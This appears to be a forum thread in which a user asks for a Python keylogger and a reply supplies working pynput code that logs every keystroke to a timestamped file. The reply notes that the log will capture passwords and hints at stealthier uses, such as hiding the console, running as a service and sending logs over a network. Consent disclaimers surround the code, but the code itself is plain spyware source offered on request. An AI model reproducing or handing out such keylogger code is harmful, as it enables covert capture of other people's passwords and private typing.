Python code keylogger

i need a python code Keylogger

Educational Python Keylogger

Before anything else, this is only for learning and testing on your own devices with full consent. Deploying a keylogger without explicit permission is illegal in most jurisdictions and violates ethical guidelines. Use this knowledge responsibly.

A basic keylogger in Python can be built using the pynput library, which allows monitoring keyboard events. Here's a minimal example that logs all key presses to a file.

Installation:
Code:
pip install pynput

Code:
Python:
import pynput.keyboard
import logging

# Set up logging to a file
logging.basicConfig(
 filename="keylog.txt",
 level=logging.DEBUG,
 format="%(asctime)s: %(message)s"
)

def on_press(key):
 try:
 logging.info(f"Key pressed: {key.char}")
 except AttributeError:
 logging.info(f"Special key pressed: {key}")

# Start the listener
with pynput.keyboard.Listener(on_press=on_press) as listener:
 listener.join()

How it works:
  • The pynput.keyboard.Listener captures keyboard events.
  • on_press is called every time a key is pressed, logging it with a timestamp.
  • Alphanumeric keys have a .char attribute; special keys (like Enter, Shift) throw an AttributeError and are logged as-is.
  • The script runs until you stop it (Ctrl+C in the terminal).

Important notes:
  • On macOS/Linux, you might need to grant accessibility permissions to your terminal or IDE.
  • The log file will contain everything typed while the script is running – including passwords if you type them.
  • For a stealthier approach, one might hide the console window or run as a service, but that enters malicious territory.

If you want to experiment further, you can extend it to capture mouse events or send logs over a network. Always stay legal and ethical.

Happy learning, and remember: with great power comes great responsibility.
 
Back
Top